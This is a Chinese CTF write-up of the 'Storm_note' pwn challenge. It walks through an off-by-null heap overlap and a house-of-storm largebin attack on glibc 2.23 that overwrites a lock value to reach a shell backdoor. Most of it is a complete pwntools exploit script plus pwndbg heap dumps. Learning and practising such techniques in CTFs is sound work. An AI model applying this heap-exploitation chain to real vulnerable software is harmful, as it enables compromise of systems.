西湖论剑 Pwn Storm_note

比较经典的一道largebinattack的pwn题

查保护

1

glibc是2.23的,也没有去符号表

静态分析

2

存在后门,输入666执行后门,我们输入的内容和0xABCD0100处比较,相同即可getshell,这个地址里的值是init_proc中写进去的随机值,所以我们要么泄露出这个值,要么修改这个值,才能输入通过

这里也不存在泄露信息的函数,所以基本要修改掉这里面的值了

并且程序还开了mallopt(1, 0),在ptmalloc2中,mallopt(1, 0)的作用是禁用fastbin

漏洞点在edit函数里存在一个off-by-null

我们主要利用此漏洞触发unlink,构造堆重叠

漏洞利用

先建7个chunk

1
2
3
4
5
6
7
8
9
add(0x18)	#0
add(0x508) #1
add(0x18) #2

add(0x18) #3
add(0x508) #4
add(0x18) #5

add(0x18) #6

然后伪造一个pre_size防止chunk2的presize被破坏无法unlink,再释放1

1
2
3
4
5
edit(1, b'a'*0x4f0 + p64(0x500))
# 释放1号块到unsort bin 此时chunk size=0x510 2号的prev_size 为 0x510
free(1)
# off by null 将1号块的size字段覆盖为0x500,和上面的0x500对应,为了绕过检查
edit(0, b'a'*(0x18))

此时再去申请出chunk时就不会破坏chunk2的presize位

1
2
add(0x18)  # 1 
add(0x4d8) # 7

3

接下来去进行unlink,构造堆重叠:

1
2
3
4
5
6
free(1)
free(2)

add(0x30) # 1
add(0x4e8) # 2

现在2号块和7号块就已经重叠了

4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#同理可以在4号和5号上继续构造块交叠,由8号块来控制其内容(4号块加入large bin)。
edit(4, b'a'*(0x4f0) + p64(0x500))
free(4)
edit(3, b'a'*(0x18))
add(0x18) # 4
add(0x4d8) # 8
free(4)
free(5)

add(0x40) # 4
free(2)
'''
pwndbg> x/10gx 0x555555554000+0x2020a0
0x5555557560a0: 0x0000555555757010 0x0000555555757030
0x5555557560b0: 0x0000000000000000 0x0000555555757560
0x5555557560c0: 0x0000555555757580(4) 0x0000000000000000
0x5555557560d0: 0x0000555555757ab0 0x0000555555757050
0x5555557560e0: 0x00005555557575a0(8) 0x0000000000000000
'''

现在unsortedbin中布局如下:

1
2
3
4
'''
unsortedbin
all: 0x555555757060 —▸ 0x5555557575c0(0x4d0) —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x555555757060 /* '`puUUU' */
'''

unsortedbin模式为FIFO,此时我们申请0x4e8会先检查我们最先free进去的chunk4发现size不够放进largebin

然后我们再删除2号块将其放进unsortedbin

1
2
3
4
5
6
7
8
9
add(0x4e8)
free(2)

'''
unsortedbin
all: 0x555555757060(7->2) —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x555555757060 /* '`puUUU' */
largebins
0x4c0: 0x5555557575c0(8 5a0) —▸ 0x7ffff7dd1f98 (main_arena+1144) ◂— 0x5555557575c0
'''

此时house of storm的条件已经准备完成了接着布置其bk,bk_nextsize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
target = 0xabcd0100
fake_chunk = target - 0x20


layout = [
'\x00' * 16, # 填充16个没必要的字节 因为是从 050 开始的
p64(0), # fake_chunk->prev_size
p64(0x4f1), # fake_chunk->size
p64(0), # fake_chunk->fd
p64(fake_chunk) # fake_chunk->bk
]
edit(7, flat(layout))

layout = [
'\x00' * 32, # 32 字节偏移
p64(0), # fake_chunk2->prev_size
p64(0x4e1), # fake_chunk2->size
p64(0), # fake_chunk2->fd
# 用于创建假块的“bk”,以避免从未排序的bin解链接时崩溃
p64(fake_chunk + 8), # fake_chunk2->bk
p64(0), # fake_chunk2->fd_nextsize
# 用于使用错误对齐技巧创建假块的“size”
p64(fake_chunk - 0x18 - 5) # fake_chunk2->bk_nextsize
]
edit(8, flat(layout))

不太清楚为什么这么构造的师傅可以看前两篇largebinattack的博客

接下来申请0x48的chunk触发,再改chunk内容即可

1
2
3
4
5
6
add(0x48)

edit(2, p64(0) * 8)
io.sendline('666')
io.recvuntil('If you can open the lock, I will let you in')
io.sendline('\x00'*0x30)

多试几次或者,写个爆破脚本:

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
# coding:utf8
from pwn import *

context(os='linux', arch='amd64', log_level='debug')


def add(size):
io.sendlineafter(b'Choice: ', '1')
io.sendlineafter(b'size ?', str(size))


def edit(index, content):
io.sendlineafter(b'Choice: ', str(2))
io.sendlineafter(b'Index ?', str(index))
io.sendafter(b'Content:', content)


def free(index):
io.sendlineafter(b'Choice: ', str(3))
io.sendlineafter(b'Index ?', str(index))


def exploit():
global io

while True:
io = process('./Storm_note')
add(0x18) # 0
add(0x508) # 1
add(0x18) # 2

add(0x18) # 3
add(0x508) # 4
add(0x18) # 5

add(0x18) # 6

edit(1, b'a' * 0x4f0 + p64(0x500))

free(1)

edit(0, b'a' * (0x18))
add(0x18) # 1
add(0x4d8) # 7 为了和 1 重叠

free(1)
free(2) # unlink进行前向extend

add(0x30) # 1
add(0x4e8) # 2

'''
pwndbg> x/10gx 0x555555554000+0x2020a0
0x5555557560a0: 0x0000555555757010 0x0000555555757030
0x5555557560b0: 0x0000555555757070(2) 0x0000555555757560
0x5555557560c0: 0x0000555555757580 0x0000555555757a90
0x5555557560d0: 0x0000555555757ab0 0x0000555555757050(7)
'''

# 同理可以在4号和5号上继续构造块交叠,由8号块来控制其内容(4号块加入large bin)。
edit(4, b'a' * (0x4f0) + p64(0x500))
free(4)
edit(3, b'a' * (0x18))
add(0x18) # 4
add(0x4d8) # 8
free(4)
free(5)

add(0x40) # 4
free(2)
'''
pwndbg> x/10gx 0x555555554000+0x2020a0
0x5555557560a0: 0x0000555555757010 0x0000555555757030
0x5555557560b0: 0x0000000000000000 0x0000555555757560
0x5555557560c0: 0x0000555555757580(4) 0x0000000000000000
0x5555557560d0: 0x0000555555757ab0 0x0000555555757050
0x5555557560e0: 0x00005555557575a0(8) 0x0000000000000000
'''

'''
unsortedbin
all: 0x555555757060 —▸ 0x5555557575c0(0x4d0) —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x555555757060 /* '`puUUU' */
'''

add(0x4e8) # 2
'''
largebins
0x4c0: 0x5555557575c0 —▸ 0x7ffff7dd1f98 (main_arena+1144) ◂— 0x5555557575c0
'''

free(2)
'''
unsortedbin
all: 0x555555757060(7->2) —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x555555757060 /* '`puUUU' */
largebins
0x4c0: 0x5555557575c0(8 5a0) —▸ 0x7ffff7dd1f98 (main_arena+1144) ◂— 0x5555557575c0
'''

target = 0xabcd0100
fake_chunk = target - 0x20

# 伪造fake_chunk
layout = [
'\x00' * 16, # 填充16个没必要的字节
p64(0), # fake_chunk->prev_size
p64(0x4f1), # fake_chunk->size
p64(0), # fake_chunk->fd
p64(fake_chunk) # fake_chunk->bk
]
edit(7, flat(layout))

layout = [
'\x00' * 32, # 32 字节偏移
p64(0), # fake_chunk2->prev_size
p64(0x4e1), # fake_chunk2->size
p64(0), # fake_chunk2->fd
# 用于创建假块的“bk”,以避免从未排序的bin解链接时崩溃
p64(fake_chunk + 8), # fake_chunk2->bk
p64(0), # fake_chunk2->fd_nextsize
# 用于使用错误对齐技巧创建假块的“size”
p64(fake_chunk - 0x18 - 5) # fake_chunk2->bk_nextsize
]
edit(8, flat(layout))

try:
io.sendlineafter('Choice', '1')
io.sendlineafter('?', str(0x48))
io.recvuntil('Choice')

except EOFError:
io.close()
continue

io.sendline(str(2))
io.sendlineafter(b'Index ?', str(2))
io.sendafter(b'Content:', p64(0) * 8)
io.sendline('666')
io.recvuntil('If you can open the lock, I will let you in')
io.sendline('\x00' * 0x30)
break


if __name__ == '__main__':
exploit()
io.interactive()

5